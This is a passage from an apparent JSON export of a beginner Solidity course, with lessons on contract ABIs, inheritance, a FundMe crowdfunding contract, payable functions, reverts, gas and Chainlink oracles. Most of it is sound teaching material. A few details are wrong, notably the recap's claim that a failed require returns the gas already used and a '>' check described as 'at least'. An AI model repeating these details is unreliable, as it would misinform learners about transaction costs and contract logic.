ChatGPT or any other AI chatbot platform you prefer.\n2. Start with a simple and straightforward query like:\n \n `\"Hi, I'm having a hard time understanding the difference between these simple storages on this line.\"`\n3. Highlight **only the line** you're confused about and copy it.\n4. Paste this line of code within your question in a block format. In markdown, you can create a block by adding three backticks `\"`````\"` before and after the block of text or code.\n\n```\n ```\n // paste your line of code here\n ```\n```\n\nThis signifies that it is a block of code and makes it easier for the AI to understand.\n\n5. If your code is small enough, you can paste the **entire code** as well, but remember to mark it as a code block too. Some AI may struggle to handle large amounts of code, so try to be as concise as possible.\n \n Here's an example of how it would look:\n\n```\nHi, I'm having a hard time understanding the difference between these simple storages on this line:\n```\n\n```\n```// paste the confusing line of code here```\n```\n\n```\nHere is my full code:\n```\n\n```\n```// paste the full code here```\n```\n\n\nNow, just hit \"Send\" and let the AI do its magic!## Interpreting AI Responses\n\n\n\n\nThe AI can provide insightful answers to help unravel the mysteries of your code. For instance, with the `SimpleStorage` example, an AI may indicate that \"simple storage is a variable of type simple storage, which is a contract defined in simple storage.sol\". If all goes well, this should help clarify any doubts you might have. \n\n> \"A lot of this beginner basic stuff AIS are really good at. As we get more and more advanced, AIs are going to start breaking apart. But at least for the beginning, AIs are going to be incredibly helpful and incredibly good at explaining a lot.\"From the basic to the more advanced stuff, you can lean on the AI chat as a \"learning buddy\".\n\n## Not Always Right\n\nDespite their overwhelming benefits, remember that AI chat platforms are not infallible. They can, and do, get things wrong or misunderstood sometimes. When that happens, don't lose hope! You can engage other platforms like [Stack Exchange](https://ethereum.stackexchange.com/), or the discussion forums related to the course or topic you're studying.For instance, when querying about `SimpleStorage`, an AI response might refer to a 'stored data variable', which doesn't exist in the code you provided. Don't panic! It's just an example of how AI's often work on context-based inference and may sometimes link to unrelated concepts.\n\nStay patient, stay curious, and keep learning!\n", + "updates": [] + }, + { + "id": "85b888f4-25c2-43e2-bece-6cfd3a09183b", + "number": 6, + "title": "Interacting with contracts ABI", + "slug": "interacting-with-smart-contracts-abi", + "folderName": "6-interacting-with-contracts-abi", + "description": "This lesson teaches how to keep track of contract addresses when deploying new contracts using Solidity's 'new' keyword. It introduces the concept of ABI (Application Binary Interface) for contract interaction and demonstrates how to interact with contracts using ABI and address in Solidity.", + "duration": 10, + "videoUrl": "335sMB2GY8w", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/6-interacting-with-contracts-abi/+page.md", + "markdownContent": "---\ntitle: Interacting with Contracts ABI\n---\n\n\n\nLet's assume that every time we call `createSimpleStorageContract()`, we're deploying a new Simple Storage Contract. But there's a catch – we're not keeping track of all the addresses that this simple storage contract is being deployed to. Let's fix that.\n\n### Solution: A Running List of Contracts\n\nA better approach is to transform our variable into a list or an array of Simple Storage Contracts. This way, whenever a contract is created, it gets added to our list. Renaming the new list as `listOfSimpleStorageContracts` gives us a dynamic array for contract storage.\n\n```dart\n SimpleStorage[] public listOfSimpleStorageContracts;\n```\n\nNow, whenever a new contract is deployed, it gets pushed to this dynamic array.\n\n```js\nfunction createSimpleStorageContract() public {\n SimpleStorage simpleStorageContractVariable = new SimpleStorage();\n listOfSimpleStorageContracts.push(simpleStorageContractVariable);\n }\n```\n\nOnce compiled and deployed you will be able to interact with the contract like so:\n\n```js\nStorageFactory storageFactory = new StorageFactory();\nstorageFactory.createSimpleStorageContract();\n```\n\nOn the deployed contract, you should be able to access `listOfSimpleStorageContracts` which now has a `uint256` input allowing you to choose the index of the variable to interact with.\n\n\n### Interacting with Smart Contracts\n\nOur `StorageFactory` contract can be considered as the manager of all the Simple Storage Contracts. Up next, we'll discuss how our `StorageFactory` contract can call the `store` function of the simple storage that it deploys. To make this happen, we create a function called SF Store.\n\n```js\nfunction sfStore(uint _simpleStorageIndex, uint _simpleStorageNumber) public {...}\n```\n\nWhenever you interact with another contract, you need two things – an address and the ABI (Application Binary Interface). A simple rule of thumb to remember is ABI and address are key for contract interaction. The ABI works like a user manual, guiding code interaction with other contracts.\n\nIf you go to Solidity's compile tab and scroll down, you will find a button to copy the ABI to clipboard. This ABI provides compilation details and helps define how to interact with the contract.\n\nEssentially, the buttons you see upon deploying a contract are the same as the ones you see inside the ABI. The presence and quantity of buttons is determined by the ABI.\n\n\n\n\nIn our case, the ABI is automatically known to the compiler because the compiler generates it for Solidity. We also know the address because we have a list of all of them. Now, with the ABI and the address at our disposal, we can interact with other contracts with ease.\n\nLet's use the `SFstore` function to store a new number on one of those simple storage contracts using the index in our array:\n\n```js\nlistOfSimpleStorageContracts[_simpleStorageIndex].store(\n _simpleStorageNumber\n );\n```\n\nIt is also possible to retrieve the stored value from our Simple Storage contract:\n\n```js\nfunction sfGet(uint256 _simpleStorageIndex) public view returns (uint256) {\n // return SimpleStorage(address(simpleStorageArray[_simpleStorageIndex])).retrieve();\n return listOfSimpleStorageContracts[_simpleStorageIndex].retrieve();\n }\n```\n\nAfter compiling these newly added features and deploying the contract, you will be able to interact with your contract in the expected manner:\n\n\n\nIn conclusion, we have built a contract `StorageFactory` that creates `SimpleStorage` contracts and allows for interaction (saving and retrieving data) with these contracts. As a final touch, we can simplify the `SfGet` and `sfStore` functions as below:\n\n```js\n function sfStore(\n uint256 _simpleStorageIndex,\n uint256 _simpleStorageNumber\n ) public {\n \n listOfSimpleStorageContracts[_simpleStorageIndex].store(\n _simpleStorageNumber\n );\n }\n```\n\nBy leveraging the capacities of the Solidity language, we can construct and manage a dynamic array of contracts, and interact with them seamlessly. Keep exploring and happy coding!\n\n\n", + "updates": [] + }, + { + "id": "f8e837c4-c9c8-4a26-925a-f82d341ea7e4", + "number": 7, + "title": "Inheritance in Solidity", + "slug": "inheritance-in-solidity-smart-contracts", + "folderName": "7-inheritance-in-solidity", + "description": "An introduction to inheritance and overriding in Solidity, showcasing how to extend the functionality of a contract without duplicating it. The lesson involves creating a new contract 'addFiveStorage.sol' that inherits from 'SimpleStorage.sol' and overrides its functions.", + "duration": 7, + "videoUrl": "W8spUsFl0UA", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/7-inheritance-in-solidity/+page.md", + "markdownContent": "---\ntitle: Inheritance in Solidity\n---\n\n\n\n\nIn past lessons, we have been using a simple storage contract designed to store a user's favorite number. While we understand that it's amazing, what if we want to expand its functionality a bit?\n\nSuppose we want our contract to not only store users favorite numbers but also to add five to each favorite number stored. We could duplicate the entire contract and make changes to the new version, but as an efficient programmer, I'd say we should look for a smarter way to achieve this functionality.\n\nIn this blog, we are going to get introduced to inheritance and overriding in Solidity — two concepts that offer cleaner, clearer, and more reusable code.\n\nLet's create a new file for our enhanced contract and label it `addFiveStorage.sol`. We will again include the [SPDX license identifier](https://spdx.org/licenses/MIT.html) and specify the Solidity version.\n\nA typical new contract would look like this:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract AddFiveStorage {}\n```\n\n### Leveraging Inheritance\n\nAs much as we are tempted to copy-paste all of our prior contract's content into the new `addFiveStorage.sol`, we will resist the temptation. This is where inheritance comes into play.\n\nInheritance allows `AddFiveStorage` contract to be a child contract of the `SimpleStorage` contract. Hence, `AddFiveStorage` will be able to perform all tasks performed by `SimpleStorage` and even more.\n\nFirst, we import `SimpleStorage.sol` into `addFiveStorage.sol` using Solidity's named imports:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\nimport \"./SimpleStorage.sol\";\n\ncontract AddFiveStorage is SimpleStorage {}\n```\n\nThe `is` keyword indicates inheritance, demonstrating the relationship between `AddFiveStorage` and `SimpleStorage`. After successful compilation and deployment, you will notice that `AddFiveStorage` has the same buttons as `SimpleStorage` because it inherited all of `SimpleStorage`'s functionality.\n\n### Implementing Overriding\n\nOverriding allows us to customize functions in `AddFiveStorage.sol` that have already been defined in `SimpleStorage.sol`.\n\nTake a look at the following code snippet:\n\n```js\nfunction store(uint256 _newFavNumber) public {}\n```\n\nIf we attempt to compile this, an error will occur saying there is an overriding function without an override specifier.\n\n> *Type error: Overriding function is missing \"override\" specifier.*\n\nTo resolve this, add the `override` keyword:\n\n```js\nfunction store(uint256 _newFavNumber) public override {// function body}\n```\n\nYet, another error will pop up:\n\n> *CompileError: Trying to override a non-virtual function.*\n\nTo solve this, we will have to mark the `store` function in `SimpleStorage.sol` as `virtual`, allowing it to be overridable:\n\n```js\nfunction store(uint256 favNumber) public virtual {// function body}\n```\n\nNow back to `AddFiveStorage.sol`, let's add our preferred functionality to the `store` function:\n\n```js\nfunction store(uint256 _newFavNumber) public override {\n favoriteNumber = _newFavNumber + 5;\n }\n```\n\nSo, we have used inheritance to adopt code from the `SimpleStorage` contract, and we have overridden the `store` function to customize its functionality.\n\n\n### Wrapping Up\n\nAfter deploying your new contract and attempting to store the number `2`, you will find that the stored number, upon retrieving, will be `7`. This confirms that our `store` function in `AddFiveStorage` contract is overriding the `store` in `SimpleStorage` as is adding `5` to each number stored.\n\nAs demonstrated in this lesson, taking advantage of inheritance and overriding not only simplifies our work but also harnesses the power of OOP in Solidity. Happy coding!", + "updates": [] + }, + { + "id": "87b15470-d532-41fc-93e6-05277b0a79b1", + "number": 8, + "title": "Sections summary and recap", + "slug": "summary-and-recap", + "folderName": "8-summary-and-recap", + "description": "A summary and recap of the lessons covering deploying contracts using the 'new' keyword, importing contracts, named imports, interacting with contracts using ABI, and contract inheritance in Solidity. The lesson celebrates progress made and encourages continued learning.", + "duration": 2, + "videoUrl": "mwOTR_2Rv4U", + "rawMarkdownUrl": "/routes/solidity/2-storage-factory/8-summary-and-recap/+page.md", + "markdownContent": "---\ntitle: Summary and Recap\n---\n\n\n\n\n## Deploying contracts using new keyword\n\nOne of the initial things we explored is how to deploy contracts from other contracts using the `new` keyword. Solidity enables us to clone existing contracts and produce new ones on the fly. This feature allows developers to deploy multiple instances of a contract without manually copy-pasting code – a handy tool, particularly for applications with multiple contract instances.\n\n## Importing other contracts\n\nBeyond deploying contracts from within contracts, Solidity also equips us with the capability to import other contracts. Essentially, importing contracts is equivalent to copying and pasting the code into a file. This feature enhances reusability and modularity of code. A sample of importing contracts can be represented as:\n\n```js\nimport './myOtherContract.sol';\n```\n\n## Named Imports\n\nIn the journey of mastering Solidity, we also encountered the nifty concept of 'Named Imports'. Named imports can help make your code more organized and easier to read. They're going to elevate your coding game and make you shine among other Solidity devs out there.\n\n```js\nimport { Contract as MyContract } from './myOtherContract.sol';\n```\n\n## Interacting with contracts\n\nSolidity enables interaction with other contracts, given that we have the contract's address and its Application Binary Interface (ABI). In our tutorial, we realized that the `simple storage` type conveniently provides both the address and the ABI, simplifying our interaction with it.\n\n```js\nSimpleStorage storage = SimpleStorage(address);\nuint256 storedData = storage.retrieve();\n```\n\nAs of now, we haven't delved too much regarding ABIs. However, in subsequent sections, we will explore more about ABIs\n\n## Contract Inheritance\n\nSolidity also offers a powerful feature in the form of contract inheritance. If you want to create a child contract and inherit the features of another contract, import the parent contract and use the `is` keyword.\n\nTo override a function of the base class, the `override` keyword is used. But the base (parent) class must tag the function we want to override with the `virtual` keyword. The syntax can be represented as below:\n\n```js\nimport './BaseContract.sol';\ncontract ChildContract is BaseContract {\n function foo() public override { Override functionality here}\n }\n```\n\n\n\n### Celebrating Progress\n\nAnd that's it! You've made it to the end of this section. By now, you've acquired some potent capabilities in Solidity. So take a moment to give yourself a resounding pat on the back! Embrace a well-deserved break because taking mental pauses is good for your cognitive health. Go for a walk, indulge in a cup of coffee or some ice cream, or better yet, share your achievements with your friends be it in person or across the world via social media.\n\nRemember, each stride you make in mastering Solidity is a significant one. So be sure to celebrate these crucial little wins that keep you excited and fuel your curiosity.\n\nKeep learning, keep coding, and above all, keep pushing the boundaries.\n\n*Congratulations! You have successfully completed Lesson 3 of the Solidity Course.*", + "updates": [] + } + ] + }, + { + "number": 3, + "id": "6f3abd80-e461-4abd-9e21-03d93d5da5ba", + "title": "Fund Me", + "slug": "fund-me", + "folderName": "3-fund-me", + "lessons": [ + { + "id": "972a84be-9bff-4730-8c17-3a75979eeef1", + "number": 1, + "title": "Fund me introduction", + "slug": "fund-me-intro", + "folderName": "1-fund-me-intro", + "description": "Introduction to decentralized crowdfunding contract 'FundMe.sol', allowing users to send native blockchain cryptocurrency, with the owner being able to withdraw the funds. The lesson covers deploying on a testnet and handling transactions in Ethereum, Polygon, or Avalanche.", + "duration": 4, + "videoUrl": "Ghmze8sh34M", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/1-fund-me-intro/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n*Follow along the course with this video.*\n\n\n\n\nHello everyone, I’m glad to have you back with us for Lesson 4 in our Web3 Development series. This time we’re diving headfirst into **FundMe.sol**, our very own decentralized crowdfunding contract.\n\n## Breaking Down The Contracts\n\nIn this lesson, we'll be creating one main contract - **FundMe.sol**. However, we'll also use another file called **PriceConverter.sol** which we will discuss later.\n\n\n\nOur **FundMe contract** is a perfect example of a crowdfunded project. Think of it as your very own decentralized `Kickstarter`, where users can send any native blockchain cryptocurrency. It allows the owner of the contract to withdraw all the funds collected for their new project. It is designed so that it can be deployed on a **testnet**. \n\n\n\n\n\nOnce deployed, you will see a set of buttons along with a new **red button** named **Fund**. The red button is a giveaway that the function is payable where you can send native Ethereum, Polygon, Avalanche, or any other native blockchain currency.\n\n\n**Remember**: Fund function is payable. You can send native Ethereum, Polygon, Avalanche, or any other native blockchain currency.\n\nTo transfer funds, navigate to the **value section** of the contract user interface then hit **'Fund'**. Following this, your connected wallet (e.g., Metamask) will open for you to confirm the transaction. During this transaction, the contract balance in the functional section will show zero until the fund transfer process completes.\n\nOnce the transaction has completed, the contract balance will update to display the transferred amount. The contract owner can then withdraw the funds.\n\n### Practically Speaking....\n\nWe can go through the process using 0.1 ether as an example. After input the amount to be sent, and hit the `fund` button, confirm the transaction using my connected wallet (in this case, MetaMask), and the balance of the contract will show as zero. After a while, once the transaction has been completed, we will see a balance of 0.1 ETH appearing on Etherscan and Remix. The slight delay merely reflects transaction processing times.\n\nFollowing this, we can give permission to the contract owner to withdraw the funds. Since in this case, we are also the owner of the contract, the balance will be transferred back into our account. The balance can also be returned to MetaMask if kept open for long enough. \n \n## Wrapping Up \n\nAnd that's it! Once you complete this section, you would have grasped most of the fundamentals of working with Solidity! So keep watching this lesson chapters and get learn how to implement this `FundMe` contract yourself step by step.\n\nBe sure to write down any questions you may have and direct them towards our GitHub discussions thread.\n\nReady to get started? Let's jump back in!", + "updates": [] + }, + { + "id": "dab8c9d9-9cde-4765-96f1-2f6f09a744c0", + "number": 2, + "title": "Project setup", + "slug": "setup", + "folderName": "2-setup", + "description": "This lesson guides through the initial steps in coding the 'FundMe' contract, which allows users to send funds and an owner to withdraw them. It involves setting up the Remix IDE workspace, outlining the contract functions, and focusing on the 'fund' function.", + "duration": 2, + "videoUrl": "_chLEeWR210", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/2-setup/+page.md", + "markdownContent": "---\ntitle: Project Set up\n---\n*Follow along this chapter with the video bellow*\n\n\n\nOn this chapter, we are going to delve into the heart of the Ethereum Blockchain - smart contracts. We'll start to code 'FundMe.' It will be a simple contract that allows users to send funds into it, and later, an owner can withdraw the funds from it. But you already know that, let's start by cleaning up our Remix IDE workspace.\n\n### **1. Preparing our Remix IDE workspace**\n\nOpen your [Remix IDE](https://remix.ethereum.org/) and delete all preexisting contracts to start afresh. You might find contracts named simple storage, add five extra, storage factory, etc., from our previous lesson posts. Just right-click each one and select 'delete.' Make sure your workspace is clear before moving to the next step. Also, you can just create a new workspace and leave the previous contracts for reference purposes. Remember tough that if you delete the cookies and history on your browser, you will lose all your previous work.\n\n\nNow let's get down to business and start creating our contract. You can name it 'FundMe.' A valuable tip for any coding process is to first write down what you want your code to achieve in plain English.\n\nFor our 'FundMe' contract, we primarily want it to perform three tasks:\n\n1. **Allow users to send funds into the contract:** A standard function in any fundraising platform; users should be able to donate funds into the 'FundMe' contract.\n2. **Enable withdrawal of funds by the contract owner:** The contract owner, or whoever has control over the 'FundMe' contract, should be able to withdraw the accumulated funds.\n3. **Set a minimum funding value in USD:** There should be a lower limit for donations to prevent negligible amounts—e.g., a penny.\n\nNow, armed with these guidelines, we'll start building the contract. Start by declaring the SPDX license identifier and the solidity version:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract FundMe {}\n```\n\n### **3. Outlining the Contract Functions**\n\nBefore diving into the nitty-gritty of our code, let's lay down the functions we aim to implement for our contract functionality. Two primary functions will form the backbone of our 'FundMe' contract:\n\n1. **`fund`:** This function will facilitate the donation of funds into the contract by users.\n2. **`withdraw`:** This function will enable the contract owner to extract the funds that have been donated.\n\nThese functions will represent the main interaction points with our contract. We may add more features later, but for now, we'll establish these two at the core of our contract.\n\nBut coding everything at once can be overwhelming, especially for large projects. Thus, best practice dictates that we comment out the `withdraw` function and pay singular attention to building the `fund` function.\n\n```js\ncontract FundMe {\n // users will use this function to send funds into our contract\n function fund() public {code here}\n // Function for owner to withdraw funds\n /*function withdraw() public {// code for the `withdraw` function will go here}*/}\n```\n\nThat's all for this post. Join us in the next one as we delve into crafting the `fund` function and give life to our 'FundMe' contract.\n\n\n", + "updates": [] + }, + { + "id": "43475ec4-ae9d-465f-b8dc-b45353801e56", + "number": 3, + "title": "Sending ETH through a function", + "slug": "sending-eth-through-a-function", + "folderName": "3-sending-eth-through-a-function", + "description": "This chapter explains how to create a function in a smart contract that requires a minimum amount of Ethereum (ETH) to be sent", + "duration": 5, + "videoUrl": "-jOiNJIRdz0", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/3-sending-eth-through-a-function/+page.md", + "markdownContent": "---\ntitle: Sending ETH trough a function\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nIn this chapter, we'll explore how to establish a mechanism that enables users to send Ethereum (ETH) to a smart contract. Specifically, we'll create a function that requires a minimum amount of ETH.\n\n## How Does the Transaction Work?\n\nWhen a transaction on the blockchain occurs, a value field is always populated. This field represents the quantity of native blockchain cryptocurrency sent in each transaction. For instance, when the value field in a transaction between our accounts was populated through MetaMask, it indicated the amount of ETH being transferred.\n\n\n## Enabling Our Function to Accept Cryptocurrency\n\nFor our function to be able to receive the native blockchain currency, we need to make the function 「payable」. In Solidity, this is accomplished using the keyword `payable`. This keyword turns the function red in the Remix UI, signifying that it can accept cryptocurrency.\n\n```js\nfunction fund() public payable{...}\n```\n\n## Holding Funds in Contract\n\nJust as wallets hold funds, contracts can serve a similar role. Following deployment, a contract behaves almost identically to a wallet address. It can receive funds, interact with them, and as seen in our demo, the contract can amass a balance akin to a wallet.\n\n\n\n\n## Transaction Value - The Message Value\n\nThe value amount of a transaction can be accessed using the `message value` global in Solidity.\n\n```javascript\nmsg.value\n```\n\nThis represents the number of 'wei' sent with the message. Here, 'wei' is the smallest denomination of ETH.\n\n## Implementing Requirements for Transactions\n\nTo enforce a minimum threshold of one ether sent via our function, we can utilize the `require` keyword.\n\n```javascript\nrequire(msg.value > 1 ether);\n```\n\nThis essentially ensures that the transaction only proceeds if at least one ether is contained within the value field. If the requirement isn’t met, the transaction reverts.\n\nShould we wish to offer more context to the user, we can supplement the require statement with a custom error message.\n\n```javascript\nrequire(msg.value > 1 ether, \"Didn't send enough ETH\");\n```\n\nAn online tool like [Ethconverter](https://eth-converter.com/) can be useful for converting between ether, wei, and Gwei (another denomination of ether).\n\n## Reverting Transactions\n\nIf a user attempts to send less than the required amount, the transaction will fail and a message will be displayed. For instance, if a user attempts to send 1000 wei, which is significantly less than one ether `(1 x 10^18 wei)`, the transaction will not proceed.\n\nTo demonstrate this, see the example below where the user is attempting to send `3000000` wei:\n\n\n\nAs you can see, the require statement has the power to control the behavior of the transaction. If the condition set is not satisfied, it reverts the transaction with the provided error message. This guarantees our contract gets the minimum amount of ETH required.\n\nBy understanding how to enforce payment requirements, you gain more control over the behavior and security of your contracts. Continue exploring Solidity's capabilities to build amazing Smart Contract, let's continue with the next lesson.", + "updates": [] + }, + { + "id": "265a0fdd-801d-46cd-bc4b-c1fb65468812", + "number": 4, + "title": "Solidity reverts", + "slug": "solidity-reverts", + "folderName": "4-solidity-reverts", + "description": "The lesson focuses on understanding 'reverts' and 'gas' in Ethereum transactions. It covers the concept of reverting transactions, checking gas usage, and how gas is used and refunded in failed transactions. The lesson also explores transaction fields and gas limits.", + "duration": 4, + "videoUrl": "DzapsA5NQyc", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/4-solidity-reverts/+page.md", + "markdownContent": "---\ntitle: Solidity Reverts and Gas\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\n\n\n# Understanding Reverts and Gas in Ethereum Blockchain\n\nIn this lesson will emphasize **reverts** and how **gas** works in transactions.\n\n## What is a Revert?\n\nReverts can at times be confusing and appear tricky. A revert, in essence, undoes previous actions, sending back the remaining gas associated with that transaction. But what does this mean in context?\n\nLet's illustrate this with an example using our `FundMe` contract. Here's some code to start with:\n\n```javascript\n uint256 public myValue;\n myValue = 1;\n function fund() public {\n myValue = myValue + 2;\n }\n```\n\nIn our `fund` function, we increase `myValue` by two each time it executes successfully. However, if we encounter a revert statement, the previous action (where we added two to `myValue`) is undone and `myValue` is reset to its original state.\n\n\n\n\nThis means that if the transaction reverts, `myValue` returns to its previous value (in this case, one). Although technically, the line `myValue = myValue + 2;` was executed, the reverting line following it ensures this change never gets confirmed.\n\n## Checking the Gas Usage\n\nNow arises an important question – will the gas used in the transaction be refunded if my transaction didn't go through because it reverted? Unfortunately, no. If a transaction fails, you still consume the gas because computers executed the code before the transaction reverting.\n\n\nUsers, however, can specify how much gas they're willing to allocate to a transaction. For instance, if a function contained lines of computation after the `require` line, a significant quantity of gas would be needed to operate and run this function. However, if a revert is encountered midway, the unused gas is refunded to whoever initiated the transaction.\n\nHere's a simple rule of thumb:\n\n\n\n## A Look at Transaction Fields\n\n\n\n\nEvery transaction includes specific fields, such as nonce (transaction count for the account), gas price, gas limit (seen on Etherscan), the recipient's address, the transaction value, and data. The data field holds the function call or contract deployment information. These transactions also include cryptographic elements in the V, R, and S fields.\n\nIf sending value, the gas limit is typically set to 21,000, the data field remains empty, and the recipient's address is filled in.\n\n\n\n\n\nIn the Remix Ethereum IDE, values can be set in Wei, Gwei or Ether units. Each Ether is worth `1,000,000,000,000,000,000` Wei or `1,000,000,000` Gwei.\n\n## Conclusion\n\nWhile reverts and gas may seem tricky and can at times be confusing, they help uphold the integrity of the blockchain and its state.In sum, reverts validate integrity by reversing transactions when failures occur. Gas powers transactions, running the EVM, and even when transactions fail, the gas used is not recoverable. To manage this, Ethereum allows users to set the maximum amount of gas they're willing to use for transactions.\n\nLet's keep learning with the next lesson!", + "updates": [] + }, + { + "id": "0640be76-d633-468b-b959-feb7ad8e9be9", + "number": 5, + "title": "Intro to oracles - getting real world price data", + "slug": "real-world-price-data", + "folderName": "5-real-world-price-data", + "description": "This lesson introduces the concept of decentralized oracles and Chainlink for getting real-world price data into smart contracts. It explains how to update contracts for currency conversion, use Chainlink data feeds, and discusses Chainlink's role in blockchain oracles.", + "duration": 15, + "videoUrl": "PhVv8xjexoY", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/5-real-world-price-data/+page.md", + "markdownContent": "---\ntitle: Real World Price Data\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nWith the advancement of blockchain technology and the increasing integration of decentralized finance (DeFi) platforms, the need to accommodate a range of digital currencies has exploded. Allowing users to transact in their preferred digital coinage not only enhances the user experience, but also broadens the market reach of your platform. This lesson will walk you through the steps to adding currency conversion features and setting price thresholds in your smart contracts with Chainlink Oracle, a decentralized network for external data.\n\n\n\n\n## Updating Our Minimal Contract\n\nCurrently, our contract is too simplified. It requires the message value to exceed one full Ethereum (ETH). If we want our users to spend a minimum of $5 instead of one ETH, we will need to update our contract. To specify this new value, add the line `uint256 minimumUSD = 5` at the top of your contract. To make this value public, replace `internal` with `public`. You can optimize this `minimumUSD` later on for a more gas-efficient contract.\n\nFor the `fund` function within the contract, change the condition to check if the message value meets or exceeds `minimumUSD`. However, we face a roadblock here. The `minimumUSD` value is in USD while the message value is in terms of ETH. This is the part where we introduce *Oracles*, particularly *Chainlink*, into our code.\n\n## Understanding Decentralized Oracles and Chainlink\n\nIn the financial markets, the USD price of assets like Ethereum is externally assigned and does not originate from the blockchain technology itself. Abstracting this price information requires a bridge between the off-chain and on-chain data, which is achieved by using a *decentralized Oracle network* or an Oracle.\n\n\n\n\nBlockchain exists in a vacuum, ignorant of real-world data and occurrences. It doesn't inherently know the value of ETH or other external data like the weather or a random number. This limitation is due to its deterministic nature that allows all nodes to reach a consensus without diverging or causing conflicts. Attempting to introduce external and variable data or results of API calls will disrupt this consensus, resulting in what is referred to as a *smart contract connectivity issue* or *the Oracle problem*.\n\n## Chainlink and Blockchain Oracles\n\nIn order for our smart contracts to replace traditional understandings of agreement, they must be able to interact with real-world data. This is achievable with Chainlink and blockchain Oracles. A blockchain Oracle serves as a device that broadcasts off-chain data or computations to the smart contracts.\n\nIt's not enough to cascade data through a centralized Oracle because that reintroduces failure point. Centralizing our data source contradicts our goal of decentralization and potentially jeopardizes the trust assumptions that are vital to the operations of blockchains. Consequently, centralized nodes make poor sources for external data or computation capacity. Chainlink provides a solution to these centralized problems.\n\n## How Chainlink Works\n\nChainlink is a modular, decentralized Oracle network that enables the integration of data and external computation into our smart contracts. As mentioned earlier, hybrid smart contracts are highly feature-rich and powerful applications that combine on-chain and off-chain data.\n\nWith Chainlink, we discard the idea of making HTTP calls on blockchain nodes to an API endpoint. These nodes cannot make HTTP calls without breaking consensus. Instead, we assign a network of decentralized Chainlink Oracles the job of delivering data to our smart contracts.\n\nChainlink networks offer flexibility in that they can be configured to deliver any data or execute any external computation at will. Although it requires some work to achieve this level of customization, Chainlink offers ready-made features that can be added to your smart contract applications. Let's go over these features.\n\n## Chainlink Data Feeds\n\nResponsible for powering over $50 billion in the DeFi world, Chainlink data feeds are arguably the most utilized feature. This network of Chainlink nodes sources data from various exchanges and data providers, with each node independently evaluating the asset price.\n\nThey aggregate this data and deliver it to a reference contract, price feed contract, or data contract in a single transaction. These contracts contain the pricing information that powers DeFi applications.\n\n\n\n## Chainlink Verifiable Randomness Function (VRF)\n\nNext up is the Chainlink VRF, a solution for generating provably random numbers. This feature ensures fairness in applications, randomizing NFTs, lotteries, gaming, and more within the blockchain environment. These numbers can't be manipulated as they are determined outside of the blockchain.\n\n\n\n\n## Chainlink Keepers\n\nAnother great feature is Chainlink's system of keepers—nodes that listen to a registration contract for specific events. Upon detection of triggers that have been programmed into the contract, these nodes perform the intended actions.\n\nFinally, *Chainlink Functions* offer an extreme level of customization—it allows making API calls in a decentralized context. It can be used to create novel applications and is recommended for advanced users who have a deep understanding of Chainlink.\n\n## Conclusion\n\nIntegrating currency conversion and setting a price threshold in your smart contract is made easy with Chainlink. This decentralized Oracle network not only addresses the 'Oracle problem', but provides a suite of additional features for enhancing your dApp capabilities. With Chainlink, you can create a more user-friendly experience for your blockchain platform users.\n\nWe look forward to seeing you unleash the true potential of your smart contracts and how to implement Chainlink in your dApps.", + "updates": [] + }, + { + "id": "5883e116-4ba3-4df1-8721-ebf022f9029c", + "number": 6, + "title": "Mid section recap", + "slug": "mid-section-recap-fund-me", + "folderName": "6-mid-lesson-recap", + "description": "A recap of key concepts covered so far, including marking functions as payable for transactions, using 'require' statements, handling values with 'msg.value', and integrating external data using Chainlink for accurate real-world asset pricing in smart contracts.", + "duration": 5, + "videoUrl": "BnwxhJsa7so", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/6-mid-lesson-recap/+page.md", + "markdownContent": "---\ntitle: Mid Lesson Recap\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n\n\nJust before we get deeper, let's do a quick review of what we have covered so far. We understand we haven't written that much code, but we've definitely gone over a ton of concepts. We've learned about native blockchain tokens such as Ethereum, as well as crucial elements to incorporate in your smart contract, like marking a function as payable whenever there is a need to receive native blockchain token in a function, among others.\n\n## Payable and Required Statements in Smart Contract Functions\n\nIn the decentralized world of blockchain, a transaction does not just occur. This is especially true when you want to force a transaction to do something specific or want it to fail under certain circumstances. One of the requirements for a function to receive a native blockchain token such as Ethereum is to mark it as payable. Here is a simple yet illustrative code showing how to make a function payable.\n\n```js\nfunction deposit() public payable {\n balances[msg.sender] += msg.value;\n}\n```\n\nThe critical bit here is `payable`, which allows the function to accept Ethereum as part of the process. Remember, the function must be marked `payable` in order to receive ether in a transaction.\n\n\n\nBut what happens when you would like an operation to fail if a particular condition is not met? This is where `require` statements come in handy. For instance, when making a bank transfer, we want the operation to fail if the sender does not have enough balance. Here's an example;\n\n```js\nfunction transfer(address recipient, uint amount) public {\n require(balances[msg.sender] >= amount);\n balances[msg.sender] -= amount;\n balances[recipient] += amount;\n}\n```\n\nIn this piece of code, if the condition `balances[msg.sender] >= amount` is not met, the transaction will revert. This literally means the operation undoes any work it previously did and returns the initially used gas to the user. In other words, `require` can be viewed as a gatekeeper, only allowing transactions to proceed when certain conditions are met.\n\nMoreover, obtaining values sent with a transaction is achieved via the solidity global `msg.value` property. This comes in handy when you need to handle values within a transaction context.\n\n## Integrating External Data with Chainlink\n\nChainlink is a revolutionary technology for getting external data and computation into our smart contracts. It provides a decentralized way of injecting data into your smart contract which is particularly useful for assets whose values change over time. For instance, if your smart contract deals with real-world assets such as stocks or commodities, obtaining real-time pricing information is crucial.\n\nThis is where the Chainlink data feeds or Chainlink price feeds come in. It helps in sourcing this pricing information in a decentralized manner — hence reflecting the real-world fluctuation of asset prices in your smart contracts.\n\n\n\nTo illustrate this, let's consider that we are building a smart contract that deals with commodities like Gold. Chainlink price feeds can give real-time gold prices, allowing your smart contract to reflect the real world market prices.\n\n```js\nimport \"@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol\";\ncontract GoldPriceContract {\n 